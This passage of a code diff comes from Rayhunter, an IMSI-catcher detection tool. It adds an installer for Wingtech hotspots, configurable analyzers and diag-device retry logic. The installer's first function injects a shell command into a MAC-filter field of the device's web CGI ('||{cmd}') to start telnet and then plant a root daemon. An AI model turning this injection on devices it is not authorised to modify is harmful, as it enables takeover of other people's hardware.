let encrypted_pw = encrypt_password(admin_password.as_bytes()).ok().unwrap();
let client = Client::new();
let LoginResponse { token } = client
.post(&qcmap_auth_endpoint)
.body(format!(
"type=login&pwd={encrypted_pw}&timeout=60000&user=admin"
))
.send()
.await?
.json()
.await
.context("login did not return a token in response")?;
let command = client.post(&qcmap_web_cgi_endpoint)
.body(format!("page=setFWMacFilter&cmd=add&mode=0&mac=50:5A:CA:B5:05||{cmd}&key=50:5A:CA:B5:05:AC&token={token}"))
.send()
.await?;
if command.status() != 200 {
bail!(
"running command failed with status code: {:?}",
command.status()
);
}
Ok(())
}
async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Result<()> {
echo!("Starting telnet ... ");
start_telnet(&admin_ip, &admin_password).await?;
println!("ok");
echo!("Connecting via telnet to {admin_ip} ... ");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0").await?;
println!("ok");
telnet_send_file(
addr,
"/data/rayhunter/config.toml",
crate::CONFIG_TOML.as_bytes(),
)
.await?;
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON_WINGTECH"));
telnet_send_file(
addr,
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
)
.await?;
telnet_send_command(
addr,
"chmod 755 /data/rayhunter/rayhunter-daemon",
"exit code 0",
)
.await?;
telnet_send_file(
addr,
"/etc/init.d/rayhunter_daemon",
crate::RAYHUNTER_DAEMON_INIT.as_bytes(),
)
.await?;
telnet_send_command(
addr,
"chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0",
)
.await?;
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
println!("Rebooting device and waiting 30 seconds for it to start up.");
telnet_send_command(addr, "reboot", "exit code 0").await?;
sleep(Duration::from_secs(30)).await;
echo!("Testing rayhunter ... ");
let max_failures = 10;
http_ok_every(
format!("http://{admin_ip}:8080/index.html"),
Duration::from_secs(3),
max_failures,
)
.await?;
println!("ok");
println!("rayhunter is running at http://{admin_ip}:8080");
Ok(())
}
async fn http_ok_every(rayhunter_url: String, interval: Duration, max_failures: u32) -> Result<()> {
let client = Client::new();
let mut failures = 0;
loop {
match client.get(&rayhunter_url).send().await {
Ok(test) => match test.status().is_success() {
true => break,
false => bail!(
"request for url ({rayhunter_url}) failed with status code: {:?}",
test.status()
),
},
Err(e) => match failures > max_failures {
true => return Err(e.into()),
false => failures += 1,
},
}
sleep(interval).await;
}
Ok(())
}
#[test]
fn test_encrypt_password() {
let p = b"80536913";
let s = encrypt_password(p).ok();
let expected = Some("5brvd8xl732cSoFTAy67ig==".to_string());
assert_eq!(s, expected);
}
+2 -1
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "rayhunter" name = "rayhunter"
version = "0.3.3" version = "0.4.0"
edition = "2021" edition = "2021"
description = "Realtime cellular data decoding and analysis for IMSI catcher detection" description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
@@ -13,6 +13,7 @@ path = "src/lib.rs"
default = [] default = []
orbic = [] orbic = []
tplink = [] tplink = []
wingtech = []
[dependencies] [dependencies]
bytes = "1.5.0" bytes = "1.5.0"
+35 -10
View File
@@ -1,5 +1,5 @@
use chrono::{DateTime, FixedOffset}; use chrono::{DateTime, FixedOffset};
use serde::Serialize; use serde::{Deserialize, Serialize};
use std::borrow::Cow; use std::borrow::Cow;
use crate::util::RuntimeMetadata; use crate::util::RuntimeMetadata;
@@ -8,9 +8,29 @@ use crate::{diag::MessagesContainer, gsmtap_parser};
use super::{ use super::{
connection_redirect_downgrade::ConnectionRedirect2GDowngradeAnalyzer, connection_redirect_downgrade::ConnectionRedirect2GDowngradeAnalyzer,
imsi_requested::ImsiRequestedAnalyzer, information_element::InformationElement, imsi_requested::ImsiRequestedAnalyzer, information_element::InformationElement,
priority_2g_downgrade::LteSib6And7DowngradeAnalyzer, null_cipher::NullCipherAnalyzer, priority_2g_downgrade::LteSib6And7DowngradeAnalyzer,
}; };
#[derive(Debug, Clone, Deserialize, Serialize)]
#[serde(default)]
pub struct AnalyzerConfig {
pub imsi_requested: bool,
pub connection_redirect_2g_downgrade: bool,
pub lte_sib6_and_7_downgrade: bool,
pub null_cipher: bool,
}
impl Default for AnalyzerConfig {
fn default() -> Self {
AnalyzerConfig {
imsi_requested: true,
connection_redirect_2g_downgrade: true,
lte_sib6_and_7_downgrade: true,
null_cipher: true,
}
}
}
/// Qualitative measure of how severe a Warning event type is. /// Qualitative measure of how severe a Warning event type is.
/// The levels should break down like this: /// The levels should break down like this:
/// * Low: if combined with a large number of other Warnings, user should investigate /// * Low: if combined with a large number of other Warnings, user should investigate
@@ -122,16 +142,21 @@ impl Harness {
} }
} }
pub fn new_with_all_analyzers() -> Self { pub fn new_with_config(analyzer_config: &AnalyzerConfig) -> Self {
let mut harness = Harness::new(); let mut harness = Harness::new();
harness.add_analyzer(Box::new(ImsiRequestedAnalyzer::new()));
harness.add_analyzer(Box::new(ConnectionRedirect2GDowngradeAnalyzer {}));
harness.add_analyzer(Box::new(LteSib6And7DowngradeAnalyzer {}));
// FIXME: our RRC parser is reporting false positives for this due to an if analyzer_config.imsi_requested {
// upstream hampi bug (https://github.com/ystero-dev/hampi/issues/133). harness.add_analyzer(Box::new(ImsiRequestedAnalyzer::new()));
// once that's fixed, we should regenerate our parser and re-enable this }
// harness.add_analyzer(Box::new(NullCipherAnalyzer{})); if analyzer_config.connection_redirect_2g_downgrade {
harness.add_analyzer(Box::new(ConnectionRedirect2GDowngradeAnalyzer {}));
}
if analyzer_config.lte_sib6_and_7_downgrade {
harness.add_analyzer(Box::new(LteSib6And7DowngradeAnalyzer {}));
}
if analyzer_config.null_cipher {
harness.add_analyzer(Box::new(NullCipherAnalyzer {}));
}
harness harness
} }
+50 -2
View File
@@ -7,12 +7,14 @@ use crate::log_codes;
use deku::prelude::*; use deku::prelude::*;
use futures::TryStream; use futures::TryStream;
use log::{error, info}; use log::{debug, error, info};
use std::io::ErrorKind; use std::io::ErrorKind;
use std::os::fd::AsRawFd; use std::os::fd::AsRawFd;
use std::time::Duration;
use thiserror::Error; use thiserror::Error;
use tokio::fs::File; use tokio::fs::File;
use tokio::io::{AsyncReadExt, AsyncWriteExt}; use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::time::sleep;
pub type DiagResult<T> = Result<T, DiagDeviceError>; pub type DiagResult<T> = Result<T, DiagDeviceError>;
@@ -85,6 +87,52 @@ pub struct DiagDevice {
impl DiagDevice { impl DiagDevice {
pub async fn new() -> DiagResult<Self> { pub async fn new() -> DiagResult<Self> {
Self::new_with_retries(Duration::from_secs(30)).await
}
pub async fn new_with_retries(max_duration: Duration) -> DiagResult<Self> {
// For some reason the diag device needs a very long time to become available again with in
// the same process, on TP-Link M7350 v3. While process restart would reset it faster.
let start_time = std::time::Instant::now();
let max_delay = Duration::from_secs(5);
let mut delay = Duration::from_millis(100);
let mut num_retries = 0;
loop {
match Self::try_new().await {
Ok(device) => {
info!(
"Diag device initialization succeeded after {} retries",
num_retries
);
return Ok(device);
}
Err(e) => {
num_retries += 1;
if start_time.elapsed() >= max_duration {
error!(
"Failed to initialize diag device after {:?}: {}",
max_duration, e
);
return Err(e);
}
info!(
"Diag device initialization failed {} times, retrying in {:?}: {}",
num_retries, delay, e
);
sleep(delay).await;
// Exponential backoff
delay = std::cmp::min(delay * 2, max_delay);
}
}
}
}
async fn try_new() -> DiagResult<Self> {
let diag_file = File::options() let diag_file = File::options()
.read(true) .read(true)
.write(true) .write(true)
@@ -123,7 +171,7 @@ impl DiagDevice {
.map_err(DiagDeviceError::DeviceReadFailed)?; .map_err(DiagDeviceError::DeviceReadFailed)?;
} }
info!( debug!(
"Parsing messages container size = {:?} [{:?}]", "Parsing messages container size = {:?} [{:?}]",
bytes_read, bytes_read,
&self.read_buf[0..bytes_read] &self.read_buf[0..bytes_read]
+1 -1
View File
@@ -2,7 +2,7 @@
pushd bin/web pushd bin/web
npm run build npm run build
popd popd
cargo build --profile firmware --target="armv7-unknown-linux-musleabihf" #--features debug cargo build --profile firmware --bin rayhunter-daemon --target="armv7-unknown-linux-musleabihf" #--features debug
adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"' adb shell '/bin/rootshell -c "/etc/init.d/rayhunter_daemon stop"'
adb push target/armv7-unknown-linux-musleabihf/firmware/rayhunter-daemon /data/rayhunter/rayhunter-daemon adb push target/armv7-unknown-linux-musleabihf/firmware/rayhunter-daemon /data/rayhunter/rayhunter-daemon
echo "rebooting the device..." echo "rebooting the device..."
+1 -1
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "rootshell" name = "rootshell"
version = "0.3.3" version = "0.4.0"
edition = "2021" edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
+5 -4
View File
@@ -1,14 +1,15 @@
[package] [package]
name = "telcom-parser" name = "telcom-parser"
version = "0.3.3" version = "0.4.0"
edition = "2021" edition = "2021"
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
[dependencies] [dependencies]
asn1-compiler = "0.6.1" # FIXME: When this branch is merged into main point this at the release version of hampi again
asn1-codecs = "0.6.1" asn1-compiler = { git = "https://github.com/ystero-dev/hampi", rev = "67f3283764eda20022d190c3d3d6edd1a88047e0" }
asn1_codecs_derive = "0.6.1" asn1-codecs = { git = "https://github.com/ystero-dev/hampi", rev = "67f3283764eda20022d190c3d3d6edd1a88047e0" }
asn1_codecs_derive = { git = "https://github.com/ystero-dev/hampi", rev = "67f3283764eda20022d190c3d3d6edd1a88047e0" }
bitvec = { version = "1.0", features = ["serde"] } bitvec = { version = "1.0", features = ["serde"] }
log = "0.4" log = "0.4"
thiserror = "1.0.56" thiserror = "1.0.56"
+1 -1
View File
@@ -15,7 +15,7 @@ To install the hampi compiler, run:
To generate the parser for LTE RRC, run: To generate the parser for LTE RRC, run:
``` ```
> hampi-rs-asn1c --codec uper --derive clone --derive partial-eq --derive serialize --module src/lte_rrc.rs -- specs/EUTRA* specs/PC5-RRC-Definitions.asn > rs-asn1c --codec uper --derive clone --derive partial-eq --derive serialize --module src/lte_rrc.rs -- specs/EUTRA* specs/PC5-RRC-Definitions.asn
``` ```
## Sourcing the ASN.1 files ## Sourcing the ASN.1 files